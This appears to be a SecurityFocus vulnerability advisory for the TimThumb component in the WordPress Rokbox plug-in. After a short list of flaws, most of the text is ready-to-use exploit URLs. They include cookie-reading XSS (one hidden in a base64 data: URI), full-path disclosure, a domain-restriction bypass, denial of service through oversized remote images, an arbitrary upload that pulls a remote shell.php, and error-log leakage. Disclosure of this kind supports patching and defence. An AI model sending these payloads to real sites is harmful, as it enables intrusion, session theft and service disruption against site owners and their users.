source: https://www.securityfocus.com/bid/56953/info

The TimThumb plug-in for WordPress is prone to multiple security vulnerabilities, including:

1. A cross-site scripting vulnerability
2. Multiple security-bypass vulnerabilities
3. An arbitrary file-upload vulnerability
4. An information-disclosure vulnerability
5. Multiple path-disclosure vulnerabilities
6. A denial-of-service vulnerability

Attackers can exploit these issues to bypass certain security restrictions, obtain sensitive information, perform certain administrative actions, gain unauthorized access, upload arbitrary files, compromise the application, access or modify data, cause denial-of-service conditions, steal cookie-based authentication credentials, or control how the site is rendered to the user; other attacks may also be possible. 

XSS (WASC-08) (in versions of Rokbox with older versions of TimThumb):

http://www.example.complugins/wp_rokbox/thumb.php?src=%3Cbody%20onload=alert(document.cookie)%3E.jpg

Full path disclosure (WASC-13):

http://www.example.complugins/wp_rokbox/thumb.php?src=http://

http://www.example.complugins/wp_rokbox/thumb.php?src=http://site/page.png&h=1&w=1111111

http://www.example.complugins/wp_rokbox/thumb.php?src=http://site/page.png&h=1111111&w=1

Abuse of Functionality (WASC-42):

http://www.example.complugins/wp_rokbox/thumb.php?src=http://site&h=1&w=1
http://www.example.complugins/wp_rokbox/thumb.php?src=http://site.flickr.com&h=1&w=1
(bypass of restriction on domain, if such restriction is turned on)

DoS (WASC-10):

http://www.example.complugins/wp_rokbox/thumb.php?src=http://site/big_file&h=1&w=1
http://www.example.complugins/wp_rokbox/thumb.php?src=http://site.flickr.com/big_file&h=1&w=1
(bypass of restriction on domain, if such restriction is turned on)

Arbitrary File Upload (WASC-31):

http://www.example.complugins/wp_rokbox/thumb.php?src=http://flickr.com.site.com/shell.php

Content Spoofing (WASC-12):

In parameter file there can be set as video, as audio files.

http://www.example.complugins/wp_rokbox/thumb.php?file=1.flv&backcolor=0xFFFFFF&screencolor=0xFFFFFF
http://www.example.complugins/wp_rokbox/thumb.php?file=1.flv&image=1.jpg
http://www.example.complugins/wp_rokbox/thumb.php?config=1.xml
http://www.example.complugins/wp_rokbox/jwplayer/jwplayer.swf?abouttext=Player&aboutlink=http://site

XSS (WASC-08):

http://www.example.complugins/wp_rokbox/jwplayer/jwplayer.swf?abouttext=Player&aboutlink=data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ%2B

Information Leakage (WASC-13):

http://www.example.complugins/wp_rokbox/error_log

Leakage of error log with full paths.

Full path disclosure (WASC-13):

http://www.example.complugins/wp_rokbox/rokbox.php